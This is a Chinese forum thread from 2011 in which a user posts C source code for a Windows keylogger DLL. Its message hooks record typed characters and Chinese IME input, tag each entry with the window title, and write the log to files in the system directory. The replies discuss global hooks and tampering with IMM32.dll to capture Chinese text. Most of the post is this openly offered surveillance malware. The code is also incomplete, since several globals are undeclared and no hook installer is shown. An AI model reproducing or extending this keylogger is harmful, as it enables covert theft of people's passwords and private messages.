首页
论坛
课程
招聘
雪    币: 221
活跃值: 活跃值 (12)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝

[原创]键盘记录代码.高手请飘过

2011-1-7 02:08 5479

[原创]键盘记录代码.高手请飘过

2011-1-7 02:08
5479
整理旧硬盘无意发现的.写于2004年4月13日.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#pragma comment ( lib, "imm32.lib" )
#include <imm.h>

LRESULT CALLBACK SpyGetMsgProc(INT hc, WPARAM wParam, LPARAM lParam);
LRESULT CALLBACK SpyCallWndProc(INT hc, WPARAM wParam, LPARAM lParam);

int PutChars(unsigned char *ch)
{
        char temp[128];
        FILE *fp;

#ifndef _DEBUG
        GetSystemDirectory(temp, sizeof(temp)-20);
        strcat(temp, "\\1.dat");
#else
        strcpy(temp, "1.dat");
#endif
       
        fp =fopen(temp, "a");
        if(fp ==NULL) fp=fopen(temp, "w");
        if(fp ==NULL) return 0L;
        fwrite(ch, strlen(ch), 1, fp);
        fclose(fp);
        return 0;
}

int PutChar(unsigned char ch)
{
        char temp[128];
        FILE *fp;

#ifndef _DEBUG
        GetSystemDirectory(temp, sizeof(temp)-20);
        strcat(temp, "\\1.dat");
#else
        strcpy(temp, "1.dat");
#endif
       
        fp =fopen(temp, "a");
        if(fp ==NULL) fp=fopen(temp, "w");
        if(fp ==NULL) return 0L;
        fwrite(&ch, 1, 1, fp);
        fclose(fp);
        return 0;
}

int PutChar2(unsigned char ch)
{
        char temp[128];
        FILE *fp;
        int len;
        char ch1;

#ifndef _DEBUG
        GetSystemDirectory(temp, sizeof(temp)-20);
        strcat(temp, "\\2.dat");
#else
        strcpy(temp, "2.dat");
#endif
       
        fp =fopen(temp, "a");
        if(fp ==NULL) fp=fopen(temp, "w");
        if(fp ==NULL) return 0L;
        fseek(fp,0,SEEK_END);
        len=ftell(fp);
        if(len%100==0) {ch1='\r';fwrite(&ch1, 1, 1, fp);ch1='\n';fwrite(&ch1, 1, 1, fp);}
        fwrite(&ch, 1, 1, fp);
        fclose(fp);
        return 0;
}
BOOL APIENTRY DllMain(PVOID hModule, ULONG ulReason, PCONTEXT pctx)
{
    UNREFERENCED_PARAMETER(hModule);
    UNREFERENCED_PARAMETER(pctx);

    if ( ulReason == DLL_PROCESS_ATTACH ) {
    }

    return TRUE;
}

HWND GetTopParent(HWND hWnd)
{
        HWND hwnd;

        if(hWnd ==NULL) return FALSE;
        hwnd =hWnd;
        while(hwnd !=NULL)
        {
                hWnd =hwnd;
                hwnd =GetParent(hWnd);
        }
        return hWnd;
}

BOOL WINAPI HookProc(HWND hwnd, UINT uiMessage, WPARAM wParam, LPARAM lParam)
{
        HWND hWnd;

        hWnd =GetTopParent(hwnd);
        ///////////////////////////////////////        
        if(uiMessage ==WM_IME_COMPOSITION)
        {
                HIMC hIMC;
                DWORD dwSize;

                hIMC = ImmGetContext(hWnd);

                 if( lParam & GCS_RESULTSTR )
                {
                        unsigned char str[ MAX_PATH ];
                        dwSize = ImmGetCompositionString( hIMC, GCS_RESULTSTR, (void*)str, sizeof( str ));//取得汉字输入串
                        str[ dwSize ] = 0;

                        if((GetTickCount()-tick)>=50) //防止word中重复记录,重复记录原因不明
                        {
                                char temp[100];
                                GetWindowText(hWnd, temp, sizeof(temp));
                                if(strcmp(temp, sOldCapText))
                                        {strcpy(sOldCapText, temp);bChange=1;}       
                                else bChange=0;

                                if(bFirst||bChange)
                                {
                                        if(bChange) PutChars("\r\n");
                                        GetWindowText(hWnd, sOldCapText, sizeof(sOldCapText));
                                        PutChar('(');
                                        PutChars(sOldCapText);
                                        PutChar(')');       
                                }
                                PutChars(str);
                                bFirst=0;
                        }
                        tick=GetTickCount();                       
                }

                ImmReleaseContext( hWnd, hIMC );
        }
        ////////////////////////////////////字符输入
        if(uiMessage==WM_CHAR)
        {
                if((GetTickCount()-tick)>=50)
                {
                        char temp[100];
                        GetWindowText(hWnd, temp, sizeof(temp));
                        if(strcmp(temp, sOldCapText))
                                {strcpy(sOldCapText, temp);bChange=1;}       
                        else bChange=0;

                        if(bFirst||bChange)
                        {
                                if(bChange) PutChars("\r\n");
                                GetWindowText(hWnd, sOldCapText, sizeof(sOldCapText));
                                PutChar('(');
                                PutChars(sOldCapText);
                                PutChar(')');       
                        }
                        PutChar((unsigned char)(wParam));
                        bFirst=0;
                }
       
                tick=GetTickCount();
    }

    return FALSE;
}

LRESULT CALLBACK SpyGetMsgProc(INT hc, WPARAM wParam, LPARAM lParam)
{
    PMSG pmsg;

    pmsg = (PMSG)lParam;

    if (hc >= 0 && pmsg && pmsg->hwnd)
    {
                HookProc(pmsg->hwnd, pmsg->message, pmsg->wParam, pmsg->lParam);
//        return HookProc(pmsg->hwnd, pmsg->message, pmsg->wParam, pmsg->lParam);
    }

    return CallNextHookEx(NULL, hc, wParam, lParam);
}

LRESULT CALLBACK SpyCallWndProc(INT hc, WPARAM wParam, LPARAM lParam)
{
    PCWPSTRUCT pcwps;

    pcwps = (PCWPSTRUCT)lParam;

    if (hc >= 0 && pcwps && pcwps->hwnd)
    {
        return HookProc(pcwps->hwnd, pcwps->message, pcwps->wParam, pcwps->lParam);
    }

    return CallNextHookEx(NULL, hc, wParam, lParam);
}

HWS计划·2020安全精英夏令营来了!我们在华为松山湖欧洲小镇等你

最新回复 (5)
雪    币: 221
活跃值: 活跃值 (12)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
bestbird 活跃值 2011-1-7 02:11
2
0
麻烦版主移动到"初学者园地".谢谢
雪    币: 216
活跃值: 活跃值 (24)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dayang 活跃值 2011-1-7 17:47
3
0
CallNextHookEx 又是全局钩子?
有没不用全局钩子可以记录中文的?
雪    币: 7099
活跃值: 活跃值 (23)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
achillis 活跃值 15 2011-1-7 19:18
4
0
给IMM32.dll做点手脚。。。
雪    币: 221
活跃值: 活跃值 (12)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
bestbird 活跃值 2011-1-7 22:07
5
0
可以.很繁琐而已.但是的确是可以的.很费体力.
雪    币: 216
活跃值: 活跃值 (24)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
dayang 活跃值 2011-2-21 11:46
6
0
IMM32.dll是输入法吧?注册输入法,就可以记录中文?
游客
登录 | 注册 方可回帖
返回